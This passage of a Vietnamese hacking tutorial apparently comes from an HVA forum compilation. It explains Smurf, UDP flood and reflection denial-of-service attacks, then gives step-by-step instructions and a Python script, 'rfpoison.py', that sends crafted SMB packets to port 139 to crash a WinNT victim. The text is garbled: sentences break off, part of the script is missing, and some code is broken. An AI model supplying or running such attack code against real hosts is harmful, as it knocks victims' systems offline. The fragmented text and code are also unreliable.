phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == > Gậy ông
đập lưng ông .

f . ) Smurf Attack :

_Trong Smurf Attack, cần có ba thành phần: hacker (người ra lệnh tấn công), mạng
khuếch đại (sẽ nghe lệnh của hacker) và hệ thống của nạn nhân. Hacker sẽ gởi các gói tin
ICMP đến địa chỉ broadcast của mạng khuếch đại. Điều đặc biệt là các gói tin ICMP
packets này có địa chỉ ip nguồn chính là địa chỉ
ip của nạn nhân . Khi các packets đó đến
được địa chỉ broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ
tưởng rằng máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi
trả lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân sẽ
không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị ngừng hoạt
động, crash hoặc reboot. Như
vậy, chỉ cần gởi một lượng nhỏ các gói tin ICMP packets đi
thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin ICMP packets này lên gấp bộI .
Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có trong mạng khuếch đạI . Nhiệm vụ của
các hacker là cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển
trực tiếp các gói tin đến địa chỉ broadcast không qua chỗ l
ọc địa chỉ nguồn ở các đầu ra
của gói tin . Có được các hệ thống này, hacker sẽ dễ dàng tiến hành Smurf Attack trên
các hệ thống cần tấn công . == > một máy làm chẳng si nhê , chục máy chụm lại ta đành
chào thua .

g . ) UDP Flooding :

_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng tham gia. Hackers sẽ làm cho
hệ thống của mình đi vào một vòng lặp trao đổi các dữ liệu qua giao thức UDP. Và giả
mạo địa chỉ ip của các gói tin là địa chỉ
loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ

nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì tấn công bằng nhiều máy tính
thì ngườI tấn công chỉ cần dùng một máy tấn công thông qua các server lớn trên thế giới .
Vẫn với phương pháp giả mạo địa chỉ IP của victim , kẻ tấn công sẽ gởi các gói tin đến
các server mạnh nhất , nhanh nhất và có đường truyền rộng nhất như Yahoo .v.v… , các
server này sẽ phản hồi các gói tin đó đến địa chỉ
của victim . Việc cùng một lúc nhận
được nhiều gói tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền
của máy tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở
chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường cũng có
thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta không kịp ngăn
chặn . Trang Web HVA c
ủa chúng ta cũng bị DoS vừa rồi bởi cách tấn công này đấy .

40 . ) Kỹ thuật DoS Web bằng Python :

_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần phải có thời gian thì
máy tính của nạn nhân mới bị down được .
_ Bạn hãy download Pyphon tại /> để sử dụng .
_ Bạn hãy save đoạn mã sau lên file rfpoison.py .

CODE
import string
import struct
from socket import *
import sys
def a2b(s):
bytes = map(lambda x: string.atoi(x, 16),
string.split(s))
data = string.join(map(chr, bytes), ``)
return data

# Yêu cầu setup SMB X
``````
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
``````,
# Yêu cầu SMBtconX
``````
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
``````,
# Yêu cầu khởI tạo SMBnt X
``````
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
``````,
# yêu cầu biên dịch SMB
``````
ff 53 4d 42 25 00

def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack(`!BBH`, s)
data = sock.recv(length)
assert(len(data) == length)
#print `recv:`, b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == `__main__`:
print `Sending poison `,
main(sys.argv[1])
print `done.`